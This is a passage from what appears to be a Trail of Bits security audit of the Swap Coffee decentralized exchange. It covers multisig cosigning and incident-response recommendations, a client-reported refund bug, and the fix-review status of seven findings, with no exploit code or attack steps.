Requirement #3 prevents the cosigner from becoming merely a "deputy" acting on behalf of the first signer (forfeiting the decision-making responsibility to the first signer and defeating the security model). If the cosigner can refuse to approve the transaction for any reason, the due-diligence conditions for approval may be unclear. That is why a policy for validating transactions is needed. A verification policy could include the following:

- A protocol for handling a request to cosign a transaction (e.g., a half-signed transaction will be accepted only via an approved channel)
- An allowlist of specific addresses allowed to be the payee of a transaction
- A limit on the amount of funds spent in a single transaction or in a single day

Requirement #4 mitigates the risks associated with a single stolen key. For example, say that an attacker somehow acquired the unlocked Ledger Nano S of one of the signatories. A voice call from the cosigner to the initiating signatory to confirm the transaction would reveal that the key had been stolen and that the transaction should not be cosigned. If the signatory were under an active threat of violence, he or she could use a duress code (a code word, a phrase, or another signal agreed upon in advance) to covertly alert the others that the transaction had not been initiated willingly, without alerting the attacker.

F. Incident Response Recommendations

This section provides recommendations on formulating an incident response plan.

- **Identify the parties (either specific people or roles) responsible for implementing the mitigations when an issue occurs (e.g., deploying smart contracts, pausing contracts, upgrading the front end, etc.).**
- **Document internal processes for addressing situations in which a deployed remedy does not work or introduces a new bug.**
    - Consider documenting a plan of action for handling failed remediations.
- **Clearly describe the intended contract deployment process.**
- **Outline the circumstances under which Swap Coffee will compensate users affected by an issue (if any).**
    - Issues that warrant compensation could include an individual or aggregate loss or a loss resulting from user error, a contract flaw, or a third-party contract flaw.
- **Document how the team plans to stay up to date on new issues that could affect the system; awareness of such issues will inform future development work and help the team secure the deployment toolchain and the external on-chain and off-chain services that the system relies on.**
    - Identify sources of vulnerability news for each language and component used in the system, and subscribe to updates from each source. Consider creating a private Discord channel in which a bot will post the latest vulnerability news; this will provide the team with a way to track all updates in one place. Lastly, consider assigning certain team members to track news about vulnerabilities in specific system components.
- **Determine when the team will seek assistance from external parties (e.g., auditors, affected users, other protocol developers) and how it will onboard them.**
    - Effective remediation of certain issues may require collaboration with external parties.
- **Define contract behavior that would be considered abnormal by off-chain monitoring solutions.**

It is best practice to perform periodic dry runs of scenarios outlined in the incident response plan to find omissions and opportunities for improvement and to develop “muscle memory.” Additionally, document the frequency with which the team should perform dry runs of various scenarios, and perform dry runs of more likely scenarios more regularly. Create a template to be filled out with descriptions of any necessary improvements after each dry run.

G. Client-Reported Issues

On April 21, 2025, the Swap Coffee team alerted us to an issue it discovered in the liquidity withdrawal flow.

When the user initiates a liquidity withdrawal, they may provide a `custom_payload` cell that specifies additional configuration options, including a `use_recipient_on_failure` flag. If this flag is set to `true`, a custom `recipient` address that does not yet have an associated LP wallet contract is provided. This will cause the liquidity withdrawal to fail, and the LP token refund will fail without bouncing, leading to a loss of funds.

Swap Coffee provided a fix in PR #13. This fix generates the initialization data needed to deploy a new LP wallet and the new wallet's address if the `use_recipient_on_failure` flag is set to `true`. On failure, this initialization data is provided, and the refund message is sent to the calculated LP wallet address instead of directly to the recipient address. As a result, a new LP wallet will be created if it does not already exist and the refund will not be lost.

We consider this issue to be fully resolved.

H. Fix Review Results

When undertaking a fix review, Trail of Bits reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system.

From May 19 to May 20, 2025, Trail of Bits reviewed the fixes and mitigations implemented by the Swap Coffee team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, of the seven issues described in this report, Swap Coffee has resolved four issues and has not resolved the remaining three issues. For additional information, please see the Detailed Fix Review Results below.

ID	Title	Severity	Status
1	Token minting vulnerability in LP token notification handling	High	Resolved
2	Incorrect logical operator in reserve ratio validation allows out-of-range ratios	Medium	Resolved
3	Single-step upgrades and ownership changes	Low	Unresolved
4	Malformed admin update data	High	Resolved
5	Spoofable transaction initiator allows unauthorized creation of stable pools	Low	Unresolved
6	Arbitrary messages can be executed via vault notification messages	High	Resolved
7	Incorrect message value accounting	Informational	Unresolved

Detailed Fix Review Results

TOB-SWAPCOFFEE-1: Token minting vulnerability in LP token notification handling
Resolved in commit ee66b9b. A new notification opcode has been introduced to replace arbitrary message calls to any address. This ensures that only messages with this specific opcode and arbitrary data can be sent, effectively preventing the use of the `internal_transfer` opcode, or any other unintended opcode, and thereby eliminating the ability to mint unlimited tokens.

TOB-SWAPCOFFEE-2: Incorrect logical operator in reserve ratio validation allows out-of-range ratios
Resolved in commits ecdf615 and 77bf63f. Erroneous OR operators were replaced by AND operators in all locations identified in the report.

TOB-SWAPCOFFEE-3: Single-step upgrades and ownership changes
Unresolved. The Swap Coffee team provided the following context:

> *The fix is not provided as it will be implemented outside of the DEX codebase. Short term (at the time we launch the DEX), multisig administrative wallet (and maybe custom timelock contract) will be used. Long term (we are aiming for 6 months after the initial DEX launch), functionality of changing code/data of DEX contracts will be completely removed.*

TOB-SWAPCOFFEE-4: Malformed admin update data
Resolved in b7e5ff5. A second code cell argument was added to the `update_code_cell` function, along with verification logic to ensure both cells contain the correct number of initialization code references. This fix addresses the vulnerability and allows the admin to safely update code cells without irreparably breaking the factory contract.

TOB-SWAPCOFFEE-5: Spoofable transaction initiator allows unauthorized creation of stable pools
Unresolved. The Swap Coffee team provided the following context:

> *The team decided not to fix this vulnerability. In fact, it allows to create stable pools for such pairs of tokens, at least one of which had its contract rewritten in such a way as to "hack" the DEX protocol. We regard any such tokens as untrustworthy. While such pools could be created and will exist on the blockchain, swap.coffee has token verification system that is outside the scope of the DEX itself, which will be used within the underlying Rest API to limit the amount of pools users (or developers) would want to interact with.*

TOB-SWAPCOFFEE-6: Arbitrary messages can be executed via vault notification messages
Resolved in commit ee66b9b. The same opcode introduced to fix TOB-SWAPCOFFEE-1 addresses this issue. It disables the ability to craft an arbitrary message and forces a fixed opcode to be used in the notification messages.

TOB-SWAPCOFFEE-7: Incorrect message value accounting
Unresolved. The Swap Coffee team provided the following context:

> *The team decided not to fix this vulnerability. Firstly, existing gas checks check for more gas than is actually needed for operations. Secondly, situations in which storage gas is comparable to other mechanisms that consume gas are extremely rare (since they only occur at the first interaction with the contract after at least 3 years have passed) - in all other cases, adding a storage gas check in mentioned places will cost more than the amount of gas being checked, and we consider this a deterioration in user experience.*

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at https://github.com/trailofbits/publications, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review assessments, supporting client organizations in the technology, defense, blockchain, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, Uniswap, Solana, Ethereum Foundation, Linux Foundation, and Zoom.

To keep up to date with our latest news and announcements, please follow @trailofbits on X or LinkedIn, and explore our public repositories at https://github.com/trailofbits. To engage us directly, visit our "Contact" page at https://www.trailofbits.com/contact or email us at info@trailofbits.com.

Trail of Bits, Inc.
228 Park Ave S #80688
New York, NY 10003
https://www.trailofbits.com
info@trailofbits.com

Notices and Remarks

Copyright and Distribution

Test Coverage Disclaimer

Trail of Bits performed all activities associated with this project in accordance with a statement of work and an agreed-upon project plan.

Security assessment projects are time-boxed and often rely on information provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test software controls and security properties. These techniques augment our manual security review work, but each has its limitations. For example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. A project's time and resource constraints also limit their use.